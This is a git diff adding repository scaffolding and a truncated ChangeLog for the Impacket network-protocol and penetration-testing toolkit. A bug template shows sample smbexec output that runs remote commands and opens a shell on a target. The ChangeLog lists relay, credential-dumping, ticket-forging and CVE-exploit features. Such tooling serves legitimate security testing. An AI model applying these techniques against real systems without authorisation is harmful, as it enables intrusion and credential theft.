diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..9aa3cc3 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,35 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: '' +assignees: '' + +--- + +### Configuration +impacket version: +Python version: +Target OS: + +### Debug Output With Command String +i.e. +smbexec -debug domain/user:password@127.0.0.1 +``` +smbexec -debug domain/user:password@127.0.0.1 +[+] StringBinding ncacn_np:127.0.0.1[\pipe\svcctl] +[+] Executing %COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat +[!] Launching semi-interactive shell - Careful what you execute +C:\Windows\system32>net group +[+] Executing %COMSPEC% /Q /c echo net group ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat +Traceback (most recent call last): + File "/usr/lib64/python3.7/cmd.py", line 214, in onecmd + func = getattr(self, 'do_' + cmd) +AttributeError: 'RemoteShell' object has no attribute 'do_net' +``` + +### PCAP +If applicable, add a packet capture to help explain your problem. + +### Additional context +Space for additional context, investigative results, suspected issue. diff --git a/.github/labeler.yml b/.github/labeler.yml new file mode 100644 index 0000000..8e001a4 --- /dev/null +++ b/.github/labeler.yml @@ -0,0 +1,24 @@ +# Rules to label Pull Requests +version: 1 +labels: + - label: "Examples" + files: + - "examples/.*" + - label: "Library" + files: + - "impacket/.*" + - label: "CI/CD & Tests" + files: + - "tests/.*" + - "tox.ini" + - "Dockerfile" + - ".github/.*" + - label: "Setup" + files: + - "setup.py" + - "requirements*.txt" + - "MANIFEST.in" + - label: "Docs" + files: + - "*.md" + - "LICENSE" diff --git a/.github/workflows/build_and_test.yml b/.github/workflows/build_and_test.yml new file mode 100644 index 0000000..63bcb39 --- /dev/null +++ b/.github/workflows/build_and_test.yml @@ -0,0 +1,95 @@ +# GitHub Action workflow to build and run Impacket's tests +# + +name: Build and test Impacket + +on: [push, pull_request] + +env: + DOCKER_TAG: impacket:latests + +jobs: + lint: + name: Check syntaxs errors and warnings + runs-on: ubuntu-latest + if: + github.event_name == 'push' || github.event.pull_request.head.repo.full_name != + github.repository + + steps: + - name: Checkout Impacket + uses: actions/checkout@v2 + + - name: Setup Python 3.8 + uses: actions/setup-python@v2 + with: + python-version: 3.8 + + - name: Install Python dependencies + run: | + python -m pip install flake8 + + - name: Check syntax errors + run: | + flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics + + - name: Check PEP8 warnings + run: | + flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics + + test: + name: Run unit tests and build wheel + needs: lint + runs-on: ubuntu-latest + if: + github.event_name == 'push' || github.event.pull_request.head.repo.full_name != + github.repository + + strategy: + fail-fast: false + matrix: + python-version: ["3.6", "3.7", "3.8", "3.9"] + experimental: [false] + include: + - python-version: "3.10" + experimental: true + continue-on-error: ${{ matrix.experimental }} + + steps: + - name: Checkout Impacket + uses: actions/checkout@v2 + + - name: Setup Python ${{ matrix.python-version }} + uses: actions/setup-python@v2 + with: + python-version: ${{ matrix.python-version }} + + - name: Install Python dependencies + run: | + python -m pip install --upgrade pip wheel + python -m pip install tox tox-gh-actions -r requirements.txt -r requirements-test.txt + + - name: Run unit tests + run: | + tox -- -m 'not remote' + + - name: Build wheel artifact + run: | + python setup.py bdist_wheel + + docker: + name: Build docker image + needs: lint + runs-on: ubuntu-latest + if: + github.event_name == 'push' || github.event.pull_request.head.repo.full_name != + github.repository + + continue-on-error: true + steps: + - name: Checkout Impacket + uses: actions/checkout@v2 + + - name: Build docker image + run: | + docker build -t ${{ env.DOCKER_TAG }} . diff --git a/.github/workflows/labeler.yml b/.github/workflows/labeler.yml new file mode 100644 index 0000000..3d820a8 --- /dev/null +++ b/.github/workflows/labeler.yml @@ -0,0 +1,15 @@ +# GitHub Action workflow to label Pull Requests +# + +name: Label PRs + +on: + - pull_request + +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: srvaroa/labeler@master + env: + GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}" diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..207755b --- /dev/null +++ b/.gitignore @@ -0,0 +1,75 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +venv/ +.env/ +.venv/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +Pipfile +Pipfile.lock + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover + +# bak files +*.bak + +# Translations +*.mo +*.pot + +# Django stuff: +*.log + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# macOS +.DS_Store + +# PyCharm +.idea + +# Test cases configuration +tests/dcetests.cfg \ No newline at end of file diff --git a/ChangeLog.md b/ChangeLog.md new file mode 100644 index 0000000..7ea2804 --- /dev/null +++ b/ChangeLog.md @@ -0,0 +1,616 @@ +# ChangeLog + +Project's main page at [www.secureauth.com](https://www.secureauth.com/labs/open-source-tools/impacket). + +Complete list of changes can be found at: +https://github.com/SecureAuthCorp/impacket/commits/master + +## Impacket v0.10.0 (May 2022): + +1. Library improvements + * Dropped support for Python 2.7. + * Refactored the testing infrastructure (@martingalloar): + * Added `pytest` as the testing framework to organize and mark test + cases. `Tox` remain as the automation framework, and `Coverage.py` + for measuring code coverage. + * Custom bash scripts were replaced with test cases auto-discovery. + * Local and remote test cases were marked for easy run and configuration. + * DCE/RPC endpoint test cases were refactored and moved to a new layout. + * An initial testing guide with the main steps to prepare a testing environment and run them. + * Fixed a good amount of DCE/RPC endpoint test cases that were failing. + * Added tests for `[MS-PAR]`, `[MS-RPRN]`, CCache and DPAPI. + * Added a function to compute the Netlogon Authenticator at client-side in `[MS-NRPC]` (@0xdeaddood) + * Added `[MS-DSSP]` protocol implementation (@simondotsh) + * Added GetDriverDirectory functions to `[MS-PAR]` and `[MS-RPRN]` (@raithedavion) + * Refactored the Credential Cache: + * Added new parseFile function to ccache.py (@rmaksimov) + * Added support for loading CCache Version 3 (@reznok) + * Modified fromKRBCRED function used to load a Kirbi file (@0xdeaddood) + * Fixed Ccache to Kirbi conversion (@ShutdownRepo) + * Fixed default NTLM server challenge in smbserver (@rtpt-jonaslieb) + +2. Examples improvements + * [exchanger.py](examples/exchanger.py): + * Fixed a bug when a Global Address List doesn't exist on the server (@mohemiv) + * [mimikatz.py](examples/mimikatz.py) + * Updated intro to not trigger the AV on windows (@mpgn) + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Implemented RAW Relay Server (@CCob) + * Added an LDAP attack dumping information about the domain's ADCS enrollment services (@SAERXCIT) + * Added multi-relay feature to the HTTP Relay Server. Now one incoming HTTP connection could be + used against multiple targets (@0xdeaddood) + * Added an option to disable the multi-relay feature (@zblurx and @0xdeaddood) + * Added multiple HTTP listeners running at the same time (@SAERXCIT) + * Support for the ADCS ESC1 and ESC6 attacks (@hugo-syn) + * Added Shadow Credentials attack (@ShutdownRepo, @Tw1sm, @nodauf and @p0dalirius) + * Added the ability to define a password for the LDAP attack addComputer (@ShutdownRepo) + * Added rename_computer and modify add_computer in LDAP interactive shell (@capnkrunchy) + * Implemented StartTLS (@ThePirateWhoSmellsOfSunflowers) + * [reg.py](examples/reg.py): + * Added save function to allow remote saving of registry hives (@ShutdownRepo and @scopedsecurity) + * [secretsdump.py](examples/secretsdump.py): + * Added an option to dump credentials using the Kerberos Key List attack (@0xdeaddood) + * [smbpasswd.py](examples/smbpasswd.py): + * Added an option to force credentials change via injecting new values into SAM (@snovvcrash and @alefburzmali) +3. New examples + * [machine_role.py](examples/machine_role.py): This script retrieves a host's role along with its + primary domain details (@simondotsh) + * [keylistattack.py](examples/keylistattack.py): This example implements the Kerberos Key List + attack to dump credentials abusing RODCs and Azure AD Kerberos Servers (@0xdeaddood) + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@rmaksimov @simondotsh @CCob @raithedavion @SAERXCIT @Maltemo @dirkjanm @reznok @ShutdownRepo @scopedsecurity @Tw1sm @nodauf @p0dalirius @zblurx @hugo-syn @capnkrunchy @mohemiv @mpgn @rtpt-jonaslieb @snovvcrash @alefburzmali @ThePirateWhoSmellsOfSunflowers @jlvcm + +## Impacket v0.9.24 (October 2021): + +1. Library improvements + * Fixed WMI objects parsing (@franferrax) + * Added the RpcAddPrinterDriverEx method and related structures to `[MS-RPRN]`: Print System Remote Protocol (@cube0x0) + * Initial implementation of `[MS-PAR]`: Print System Asynchronous Remote Protocol (@cube0x0) + * Complying `[MS-RPCH]` with HTTP/1.1 (@mohemiv) + * Added return of server time in case of Kerberos error (@ShutdownRepo and @Hackndo) + +2. Examples improvements + * [getST.py](examples/getST.py): + * Added support for a custom additional ticket for S4U2Proxy (@ShutdownRepo) + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Added Negotiate authentication support to the HTTP server (@LZD-TMoreggia) + * Added anonymous session handling in the HTTP server (@0xdeaddood) + * Fixed error in ldapattack.py when trying to escalate with machine account (@Rcarnus) + * Added the implementation of AD CS attack (@ExAndroidDev) + * Disabled the anonymous logon in the SMB server (@ly4k) + * [psexec.py](examples/psexec.py): + * Fixed decoding problems on multi bytes characters (@p0dalirius) + * [reg.py](examples/reg.py): + * Implemented ADD and DELETE functionalities (@Gifts) + * [secretsdump.py](examples/secretsdump.py): + * Speeding up NTDS parsing (@skelsec) + * [smbclient.py](examples/smbclient.py): + * Added 'mget' command which allows the download of multiple files (@deadjakk) + * Handling empty search count in FindFileBothDirectoryInfo (@martingalloar) + * [smbpasswd.py](examples/smbpasswd.py): + * Added the ability to change a user's password providing NTLM hashes (@snovvcrash) + * [smbserver.py](examples/smbserver.py): + * Added NULL SMBv2 client connection handling (@0xdeaddood) + * Hardened path checks and Added TID checks (@martingalloar) + * Added SMB2 support to QUERY_INFO Request and Enabled SMB_COM_FLUSH method (@0xdeaddood) + * Added missing constant and structure for the QUERY_FS Information Level SMB_QUERY_FS_DEVICE_INFO (@martingalloar) + * [wmipersist.py](examples/wmipersist.py): + * Fixed VBA script execution and improved error checking (@franferrax) + +3. New examples + * [rbcd.py](examples/rbcd.py): Example script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer (@ShutdownRepo and @p0dalirius) (based on the previous work of @tothi and @NinjaStyle82) + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@deadjakk @franferrax @cube0x0 @w0rmh013 @skelsec @mohemiv @LZD-TMoreggia @exploide @ShutdownRepo @Hackndo @snovvcrash @rmaksimov @Gifts @Rcarnus @ExAndroidDev @ly4k @p0dalirius + + +## Impacket v0.9.23 (June 2021): + +1. Library improvements + * Support connect timeout with SMBTransport (@vruello) + * Speeding up DcSync (@mohemiv) + * Fixed Python3 issue when serving SOCKS5 requests (@agsolino) + * Moved docker container to Python 3.8 (@mgallo) + * Added basic GitHub Actions workflow (@mgallo) + * Fixed Path Traversal vulnerabilities in `smbserver.py` - CVE-2021-31800 (@omriinbar AppSec Researcher at CheckMarx) + * Fixed POST request processing in `httprelayserver.py` (@Rcarnus) + * Added cat command to `smbclient.py` (@mxrch) + * Added new features to the LDAP Interactive Shell to facilitate AD exploitation (@AdamCrosser) + * Python 3.9 support (@meeuw and @cclauss) + +2. Examples improvements + * [addcomputer.py](examples/addcomputer.py): + * Enable the machine account created via SAMR (@0xdeaddood) + * [getST.py](examples/getST.py): + * Added exploit for CVE-2020-17049 - Kerberos Bronze Bit attack (@jakekarnes42) + * Compute NTHash and AESKey for the Bronze Bit attack automatically (@snovvcrash) + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Fixed target parsing error (@0xdeaddood) + * [wmipersist.py](examples/wmipersist.py): + * Fixed `filterBinding` error (@franferrax) + * Added PowerShell option for semi-interactive shells in `dcomexec.py`, `smbexec.py` + and `wmiexec.py` (@snovvcrash) + * Added new parameter to select `COMVERSION` in `dcomexec.py`, `wmiexec.py`, + `wmipersist.py` and `wmiquery.py` (@zexusx26) + +3. New examples + * [Get-GPPPassword.py](examples/Get-GPPPassword.py): This example extracts and decrypts + Group Policy Preferences passwords using streams for treating files instead of mounting + shares. Additionally, it can parse GPP XML files offline (@ShutdownRepo and @p0dalirius) + * [smbpasswd.py](examples/smbpasswd.py): This script is an alternative to `smbpasswd` tool and + intended to be used for changing expired passwords remotely over SMB (MSRPC-SAMR) (@snovvcrash) + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@mpgn @vruello @mohemiv @jagotu @jakekarnes42 @snovvcrash @zexusx26 @omriinbar @Rcarnus @nuschpl @mxrch @ShutdownRepo @p0dalirius @AdamCrosser @franferrax @meeuw and @cclauss + + +## Impacket v0.9.22 (November 2020): + +1. Library improvements + * Added implementation of RPC over HTTP v2 protocol (by @mohemiv). + * Added `[MS-NSPI]`, `[MS-OXNSPI]` and `[MS-OXABREF]` protocol implementations (by @mohemiv). + * Improved the multi-page results in LDAP queries (by @ThePirateWhoSmellsOfSunflowers). + * NDR parser optimization (by @mohemiv). + * Improved serialization of WMI method parameters (by @tshmul). + * Introduce the `[MS-NLMP]` `2.2.2.10` `VERSION` structure in `NTLMAuthNegotiate` messages (by @franferrax). + * Added some NETLOGON structs for `NetrServerPasswordSet2` (by @dirkjanm). + * Python 3.8 support. + +2. Examples improvements + * [atexec.py](examples/atexec.py): + * Fixed after MS patches related to RPC attacks (by @mohemiv). + * [dpapi.py](examples/dpapi.py): + * Added `-no-pass`, `pass-the-hash` and AES Key support for backup subcommand. + * [GetNPUsers.py](examples/GetNPUsers.py): + * Added ability to enumerate targets with Kerberos KRB5CC (by @rmaksimov). + * [GetUserSPNs.py](examples/GetUserSPNs.py): + * Added new features for kerberoasting (by @mohemiv). + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Added ability to relay on new Windows versions that have SMB guest access disabled by default. + * Added option to specify the NTLM Server Challenge used when receiving a connection. + * Added relaying to RPC support (by @mohemiv). + * Implemented WCFRelayServer (by @cnotin). + * Added Zerologon DCSync Relay Client (by @dirkjanm). + * Fixed issue in ldapattack.py when relaying and creating computer in CN=Computers (by @Hackndo). + * [rpcdump.py](examples/rpcdump.py): + * Added RPC over HTTP v2 support (by @mohemiv). + * [secretsdump.py](examples/secretsdump.py): + * Added ability to specifically delete a shadow based on its ID (by @phefley). + * Dump plaintext machine account password when dumping the local registry secrets(by @dirkjanm). + +3. New examples + - [exchanger.py](examples/exchanger.py): A tool for connecting to MS Exchange via + RPC over HTTP v2 (by @mohemiv). + - [rpcmap.py](examples/rpcmap.py): Scan for listening DCE/RPC interfaces (by @mohemiv). + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@mohemiv @mpgn @Romounet @ThePirateWhoSmellsOfSunflowers @rmaksimov @fuzzKitty @tshmul @spinenkoia @AaronRobson @ABCIFOGeowi40 @cclauss @cnotin @5alt @franferrax @Dliv3 @dirkjanm @Mr-Gag @vbersier @phefley @Hackndo + + +## Impacket v0.9.21 (March 2020): + +1. Library improvements + * New methods into `CCache` class to import/export kirbi (`KRB-CRED`) formatted tickets (by @Zer1t0). + * Add `FSCTL_SRV_ENUMERATE_SNAPSHOTS` functionality to `SMBConnection` (by @rxwx). + * Changes in NetBIOS classes in `nmb.py` (`select()` by `poll()` read from socket) (by @cnotin). + * Timestamped logging added. + * Interactive shell to perform LDAP operations (by @mlefebvre). + * Added two DCE/RPC calls in `tsch.py` (by @mohemiv). + * Single-source the version number and standardize on semantic + pre-release + local versioning (by @jsherwood0). + * Added implementation for keytab files (by @kcirtapw). + * Added SMB 3.1.1 support for Client SMB Connections. + +2. Examples improvements + * [smbclient.py](examples/smbclient.py): + * List the VSS snapshots for a specified path (by @rxwx). + * [GetUserSPNs.py](examples/GetUserSPNs.py): + * Added delegation information associated with accounts (by @G0ldenGunSec). + * [dpapi.py](examples/dpapi.py): + * Added more functions to decrypt masterkeys based on SID + hashes/key. Also support supplying hashes instead of the password for decryption(by @dirkjanm). + * Pass the hash support for backup key retrieval (by @imaibou). + * Added feature to decrypt a user's masterkey using the MS-BKRP (by @imaibou). + * [raiseChild.py](examples/raiseChild.py): + * Added a new flag to specify the RID of a user to dump credentials (by @0xdeaddood). + * Added flags to bypass badly made detection use cases (by @MaxNad): + * [smbexec.py](examples/smbexec.py): + * Possibility to rename the PSExec uploaded binary name with the `-remote-binary-name` flag. + * [psexec.py](examples/psexec.py): + * Possibility to use another service name with the `-service-name` flag. + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Added a flag to use a SID as the escalate user for delegation attacks (by @0xe7). + * Support for dumping LAPS passwords (by @praetorian-adam-crosser). + * Added LDAP interactive mode that allow an attacker to manually perform basic operations + like creating a new user, adding a user to a group , dump the AD, etc. (by @mlefebvre). + * Support for multiple relays through one SMB connection (by @0xdeaddood). + * Added support for dumping gMSA passwords (by @cube0x0). + * [ticketer.py](examples/ticketer.py): + * Added an option to use the SPNs keys from a keytab for a silver ticket(by @kcirtapw) + +3. New Examples + - [addcomputer.py](examples/addcomputer.py): Allows add a computer to a domain using LDAP + or SAMR (SMB) (by @jagotu) + - [ticketConverter.py](examples/ticketConverter.py): This script converts kirbi files, + commonly used by mimikatz, into ccache files used by Impacket, and vice versa (by @Zer1t0). + - [findDelegation.py](examples/findDelegation.py): Simple script to quickly list all + delegation relationships (unconstrained, constrained, resource-based constrained) in + an AD environment (by @G0ldenGunSec). + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@jagotu, @Zer1t0 ,@rxwx, @mpgn, @danhph, @awsmhacks, @slasyz, @cnotin, @exploide, @G0ldenGunSec, @dirkjanm, @0xdeaddood, @MaxNad, @imaibou, @BarakSilverfort, @0xe7, @mlefebvre, @rmaksimov, @praetorian-adam-crosser, @jsherwood0, @mohemiv, @justin-p, @cube0x0, @spinenkoia, @kcirtapw, @MrAnde7son, @fridgehead, @MarioVilas. + + +## Impacket v0.9.20 (September 2019): + +1. Library improvements + * Python 3.6 support! This is the first release supporting Python 3.x so please issue tickets + whenever you find something not working as expected. Libraries and examples should be fully + functional. + * Test coverage [improvements](https://github.com/SecureAuthCorp/impacket/pull/540) by @infinnovation-dev + * Anonymous SMB 2.x Connections are not encrypted anymore (by @cnotin) + * Support for [multiple PEKs](https://github.com/SecureAuthCorp/impacket/pull/618) when decrypting Windows 2016 DIT files (by @mikeryan) + +2. Examples improvements + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * [CVE-2019-1019](https://github.com/SecureAuthCorp/impacket/pull/635): Bypass SMB singing for unpatched (by @msimakov) + * Added [POC](https://github.com/SecureAuthCorp/impacket/pull/637) code for CVE-2019-1040 (by @dirkjanm) + * Added NTLM relays leveraging [Webdav](https://github.com/SecureAuthCorp/impacket/pull/652) authentications (by @salu90) + +3. New Examples + * [kintercept.py](examples/kintercept.py): A tool for intercepting krb5 connections and for + testing KDC handling S4U2Self with unkeyed checksum (by @iboukris) + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@infinnovation-dev, @cnotin, @mikeryan, @SR4ven, @cclauss, @skorov, @msimakov, @dirkjanm, @franferrax, @iboukris, @n1ngod, @c0d3z3r0, @MrAnde7son. + + +## Impacket v0.9.19 (April 2019): + +1. Library improvements + * [[MS-EVEN]](impacket/dcerpc/v5/even.py) Interface implementation (Initial - by @MrAnde7son ) + +2. Examples improvements + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Socks local admin check (by @imaibou) + * Add Resource Based Delegation features (by @dirkjanm) + * [smbclient.py](examples/smbclient.py): + * Added ability to create/remove mount points to exploit James Forshaw's + [Abusing Mount Points over the SMB Protocol](https://tyranidslair.blogspot.com/2018/12/abusing-mount-points-over-smb-protocol.html) technique (by @Qwokka) + * [GetST.py](examples/getST.py): + * Added resource-based constrained delegation support to S4U (@eladshamir) + * [GetNPUsers.py](examples/GetNPUsers.py): + * Added hashcat/john format and users file input (by @Zer1t0) + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@dirkjanm, @MrAnde7son, @ibo, @franferrax, @Qwokka, @CaledoniaProject , @eladshamir, @Zer1t0, @martingalloar, @muizzk, @Petraea, @SR4ven, @Fist0urs, @Zer1t0. + + +## Impacket v0.9.18 (December 2018): + +1. Library improvements + * Replace unmaintained PyCrypto for pycryptodome (@dirkjanm) + * Using cryptographically secure pseudo-random generators + * Kerberos "no pre-auth and RC4" handling in GetKerberosTGT (by @qlemaire) + * Test cases adjustments, travis and flake support (@cclauss) + * Python3 test cases fixes (@eldipa) + * Adding DPAPI / Vaults related structures and functions to decrypt secrets + * [[MS-RPRN]](impacket/dcerpc/v5/rprn.py) Interface implementation (Initial) + +2. Examples improvements + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Optimize ACL enumeration and improve error handling in ntlmrelayx LDAP attack (by @dirkjanm) + * [secretsdump.py](examples/secretsdump.py): + * Added dumping of machine account Kerberos keys (@dirkjanm). `DPAPI_SYSTEM` LSA Secret is now parsed and key contents are shown. + * [GetUserSPNs.py](examples/GetUserSPNs.py): + * Bugfixes and cross-domain support (@dirkjanm) + +3. New Examples + * [dpapi.py](examples/dpapi.py): Allows decrypting vaults, credentials and masterkeys protected by DPAPI. Domain backup key support added by @MrAnde7son + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@dirkjanm, @MrAnde7son, @franferrax, @MrRobot86, @qlemaire, @cauan, @eldipa. + + +## Impacket v0.9.17 (May 2018): + +1. Library improvements + * New `[MS-PAC]` [Implementation](impacket/krb5/pac.py). + * [LDAP engine](impacket/ldap): Added extensibleMatch string filter parsing, simple + paging support and handling of unsolicited notification (by @kacpern) + * [ImpactDecoder](impacket/ImpactDecoder.py): Add `EAPOL`, `BOOTP` and `DHCP` packet + decoders (by Michael Niewoehner) + * [Kerberos engine](impacket/krb5): `DES-CBC-MD5` support to kerberos added (by @skelsec) + * [SMB3 engine](https://github.com/SecureAuthCorp/impacket/commit/f62fc5c3946430374f92404e892f8c48943d411c): If target server supports SMB >= 3, encrypt packets by default. + * Initial `[MS-DHCPM]` and `[MS-EVEN6]` Interface implementation by @MrAnde7son + * Major improvements to the [NetBIOS layer](https://github.com/SecureAuthCorp/impacket/commit/0808e45b796741aea4162bd756e3f54522e8045b). + More use of [structure.py](impacket/structure.py) in there. + * [MQTT](https://github.com/SecureAuthCorp/impacket/commit/8cef002928ca52be4e9476a87a54d836b5efa81e) Protocol Implementation and example. + * Tox/Coverage Support added, test cases moved to its own directory. Major overhaul. + * Many fixes and improvements in Kerberos, SMB and DCERPC (too much to name in a few lines). + +2. Examples improvements + * [GetUserSPNs.py](examples/GetUserSPNs.py): + * `-request-user` parameter added. Requests STs for the SPN associated to the user + specified. Added support for AES Kerberoast tickets (by @elitest). + * [services.py](examples/services.py): + * Added port 139 support and related options (by @real-datagram). + * [samrdump.py](examples/samrdump.py): + * `-csv` switch to output format in CSV added. + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Major architecture overhaul. Now working mostly through dynamically loaded plugins. SOCKS proxy support for relayed connections. Specific attacks for every protocol and new protocols support (IMAP, POP3, SMTP). Awesome contributions by @dirkjanm. + * [secretsdump.py](examples/secretsdump.py): + * AES(128) support for SAM hashes decryption. OldVal parameter dump added to LSA + secrets dump (by @Ramzeth). + * [mssqlclient.py](examples/mssqlclient.py): + * Alternative method to execute cmd's on MSSQL (sp_start_job). (by @Kayzaks). + * [lsalookupsid.py](examples/lsalookupsid.py): + * Added no-pass and domain-users options (by @ropnop). + +3. New Examples + * [ticketer.py](examples/ticketer.py): Create Golden/Silver tickets from scratch or + based on a template (legally requested from the KDC) allowing you to customize + some of the parameters set inside the `PAC_LOGON_INFO` structure, in particular the + groups, extrasids, duration, etc. Silver tickets creation by @machosec and @bransh. + * [GetADUsers.py](examples/GetADUsers.py): Gathers data about the domain's users and + their corresponding email addresses. It will also include some extra information + about last logon and last password set attributes. + * [getPac.py](examples/getPac.py): Gets the PAC (Privilege Attribute Certificate) + structure of the specified target user just having a normal authenticated user + credentials. It does so by using a mix of `[MS-SFU]`'s `S4USelf` + User to User + Kerberos Authentication. + * [getArch.py](examples/getArch.py): Will connect against a target (or list of targets) + machine/s and gather the OS architecture type installed by (ab)using a documented MSRPC feature. + * [mimikatz.py](examples/mimikatz.py): Mini shell to control a remote mimikatz RPC + server developed by @gentilkiwi. + * [sambaPipe.py](examples/sambaPipe.py): Will exploit CVE-2017-7494, uploading and + executing the shared library specified by the user through the `-so` parameter. + * [dcomexec.py](examples/dcomexec.py): A semi-interactive shell similar to `wmiexec.py`, + but using different DCOM endpoints. Currently supports `MMC20.Application`, `ShellWindows` and + `ShellBrowserWindow` objects. (contributions by @byt3bl33d3r). + * [getTGT.py](examples/getTGT.py): Given a password, hash or aesKey, this script will + request a TGT and save it as ccache. + * [getST.py](examples/getST.py): Given a password, hash, aesKey or TGT in ccache, this + script will request a Service Ticket and save it as ccache. If the account has constrained + delegation (with protocol transition) privileges you will be able to use the `-impersonate` + switch to request the ticket on behalf other user. + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@dirkjanm, @real-datagram, @kacpern, @martinuy, @xelphene, @blark, @the-useless-one, @contactr2m, @droc, @martingalloar, @skelsec, @franferrax, @Fr0stbyt3, @ropnop, @MrAnde7son, @machosec, @federicoemartinez, @elitest, @symeonp, @Kanda-Motohiro, @Ramzeth, @mohemiv, @arch4ngel, @derekchentrendmicro, @Kayzaks, @donwayo, @bao7uo, @byt3bl33d3r, @xambroz, @luzpaz, @TheNaterz, @Mikkgn, @derUnbekannt. + + +## Impacket v0.9.15 (June 2016): + +1. Library improvements + * `SMB3.create`: define `CreateContextsOffset` and `CreateContextsLength` when applicable (by @rrerolle) + * Retrieve user principal name from `CCache` file allowing to call any script with `-k` and just the target system (by @MrTchuss) + * Packet fragmentation for DCE RPC layer mayor overhaul. + * Improved pass-the-key attacks scenarios (by @skelsec) + * Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to + build the search filter yourself) + * IPv6 improvements for DCERPC/LDAP and Kerberos + +2. Examples improvements + * Adding `-dc-ip` switch to all examples. It allows specifying what the IP for the domain is. + It assumes the DC and KDC resides in the same server. + * `secretsdump.py`: + * Adding support for Win2016 TP4 in LOCAL or `-use-vss` mode + * Adding `-just-dc-user` switch to download just a single user data (DRSUAPI mode only) + * Support for different ReplEpoch (DRSUAPI only) + * pwdLastSet is also included in the output file + * New structures/flags added for 2016 TP5 PAM support + * `wmiquery.py`: + * Adding `-rpc-auth-level` switch (by @gadio) + * `smbrelayx.py`: + * Added option to specify authentication status code to be sent to requesting client (by @mgeeky) + * Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol) + +3. New Examples + * `GetUserSPNs.py`: This module will try to find Service Principal Names that are associated with normal user account. + This is part of the kerberoast attack researched by Tim Medin (@timmedin) + * `ntlmrelayx.py`: `smbrelayx.py` on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc) + (by @dirkjanm) + + +## Impacket v0.9.14 (January 2016): + +1. Library improvements + * `[MS-TSCH]` - ATSVC, SASec and ITaskSchedulerService Interface implementations + * `[MS-DRSR]` - Directory Replication Service DRSUAPI Interface implementation + * Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved + * Unicode support (optional) for the SMBv1 stack (by @rdubourguais) + * NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie) + * Kerberos support for TDS (MSSQL) + * Extended present flags support on RadioTap class + * Old DCERPC runtime code removed + +2. Examples improvements + * `mssqlclient.py`: + * Added Kerberos authentication support + * `atexec.py`: + * It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2 + * `smbrelayx.py`: + * If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default + * Added -c option to execute custom commands in the target (by @byt3bl33d3r) + * `secretsdump.py`: + * Active Directory hashes/Kerberos keys are dumped using `[MS-DRSR]` (`IDL_DRSGetNCChanges` method) + by default. VSS method is still available by using the -use-vss switch + * Added `-just-dc` (Extract only NTDS.DIT NTLM Hashes and Kerberos) and + `-just-dc-ntlm` (only NTDS.DIT NTLM Hashes) options + * Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops. + Use `-resumefile` option. + * Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump (`[MS-SAMR]` `3.1.1.8.11.5`) + * Add support for multiple password encryption keys (PEK) (by @s0crat) + * `goldenPac.py`: + * Tests all DCs in domain and adding forest's enterprise admin group inside PAC + +3. New examples + * `raiseChild.py`: Child domain to forest privilege escalation exploit. Implements a + child-domain to forest privilegeescalation as [detailed by Sean Metcalf](https://adsecurity.org/?p=1640). + * `netview.py`: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix) + + +## Impacket v0.9.13 (May 2015): + +1. Library improvements + * Kerberos support for SMB and DCERPC featuring: + * `kerberosLogin()` added to SMBConnection (all SMB versions). + * Support for `RPC_C_AUTHN_GSS_NEGOTIATE` at the DCERPC layer. This will + negotiate Kerberos. This also includes DCOM. + * Pass-the-hash, pass-the-ticket and pass-the-key support. + * Ccache support, compatible with Kerberos utilities (kinit, klist, etc). + * Support for `RC4`, 